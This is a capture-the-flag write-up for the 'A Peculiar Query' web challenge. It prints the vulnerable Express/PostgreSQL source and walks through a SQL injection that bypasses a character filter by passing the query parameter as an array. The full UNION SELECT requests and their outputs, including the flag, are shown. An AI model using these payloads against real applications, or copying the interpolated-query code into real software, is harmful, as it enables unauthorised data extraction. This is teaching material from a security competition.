Tags: node.js web sql-injection req.query
Rating:
# ▼▼▼A Peculiar Query(Web、180pts、74/1596=4.6%)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
`https://peculiarquery.2020.chall.actf.co/src`
↓
```
const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT || 9090;
const path = require("path");
const client = new Client({
user: process.env.DBUSER,
host: process.env.DBHOST,
database: process.env.DBNAME,
password: process.env.DBPASS,
port: process.env.DBPORT
});
async function query(q) {
const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
return ret;
}
app.set("view engine", "ejs");
app.use(express.static("public"));
app.get("/src", (req, res) => {
res.sendFile(path.join(__dirname, "index.js"));
});
app.get("/", async (req, res) => {
if (req.query.q) {
try {
let q = req.query.q;
// no more table dropping for you
let censored = false;
for (let i = 0; i < q.length; i ++) {
if (censored || "'-\".".split``.some(v => v == q[i])) {
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
}
}
q = q.substring(0, 80);
const result = await query(q);
res.render("home", {results: result.rows, err: ""});
} catch (err) {
console.log(err);
res.status(500);
res.render("home", {results: [], err: "aight wtf stop breaking things"});
}
} else {
res.render("home", {results: [], err: ""});
}
});
app.listen(port, function() {
client.connect();
console.log("App listening on port " + port);
});
```
---
## 【Tried and error by building the local environment】
```
GET /?q=ttttttt'ttt HTTP/1.1
Host: my_server
```
↓
```
q=ttttttt'ttt
length: 11
q80=ttttttt****
ret=SELECT name FROM Criminals WHERE name ILIKE 'ttttttt****%';
```
↓
Source code
```
// no more table dropping for you
let censored = false;
for (let i = 0; i < q.length; i ++) {
if (censored || "'-\".".split``.some(v => v == q[i])) {
censored = true;
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
}
}
```
↓
If `'-".` Exists, it will be filled with `*`
---
Try sending in an array
↓
```
GET /?q=1&q=2&q=3 HTTP/1.1
Host: my_server
```
↓
```
q=1,2,3
length: 3
TypeError: q.substring is not a function
at /usr/src/index.js:49:10
at Layer.handle [as handle_request] (/usr/src/node_modules/express/lib/router/layer.js:95:5)
at next (/usr/src/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/usr/src/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/usr/src/node_modules/express/lib/router/layer.js:95:5)
at /usr/src/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/usr/src/node_modules/express/lib/router/index.js:335:12)
at next (/usr/src/node_modules/express/lib/router/index.js:275:10)
at SendStream.error (/usr/src/node_modules/serve-static/index.js:121:7)
```
↓
Arrays are concatenated,and Error in `q.substring`
↓
because q is not a String class
---
`q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);` ⇒ `*` is String. Avoid errors by concatenating String and characters to String Class
↓
```
GET /?q=1&q=2&q=3&q=' HTTP/1.1
Host: my_server
```
↓
```
q=1,2,3,'
length: 4
q80=1,2,**
ret=SELECT name FROM Criminals WHERE name ILIKE '1,2,**%';
```
↓
I was able to avoid the error!!
---
## 【exploit】
```
GET /?q=_%25%27--&q=&q=&q=&q=%27 HTTP/1.1
Host: peculiarquery.2020.chall.actf.co
```
↓
```
Name Criminal Record
clam where's my million dollars
kmh where's my million dollars
boshua where's my million dollars
derekthesnake where's my million dollars
Joe where's my million dollars
John where's my million dollars
Jack where's my million dollars
Jill where's my million dollars
Jonah where's my million dollars
Jeff where's my million dollars
aplet123 where's my million dollars
```
↓
All data was obtained. `SQL injection` was done
---
```
GET /?q=_%27union%20select%20version()--&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=%27 HTTP/1.1
Host: peculiarquery.2020.chall.actf.co
```
↓
```
Name Criminal Record
PostgreSQL 11.7 (Ubuntu 11.7-1.pgdg16.04+1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit where's my million dollars
```
↓
`version()` was obtained
---
```
GET /?q=_%27union%20select%20concat(TABLE_NAME,COLUMN_NAME)%20from%20information_schema.columns--&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=%27 HTTP/1.1
Host: peculiarquery.2020.chall.actf.co
```
↓
```
~(Omitted)~
<tr><td>criminalscrime</td><td>where's my million dollars</td></tr>
<tr><td>criminalsname</td><td>where's my million dollars</td></tr>
~(Omitted)~
```
↓
Column name is `crime`
---
```
GET /?q=_%27union%20select%20crime%20from%20Criminals--&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=&q=%27 HTTP/1.1
Host: peculiarquery.2020.chall.actf.co
```
↓
```
~(Omitted)~
actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}
~(Omitted)~
```
↓
`actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u} `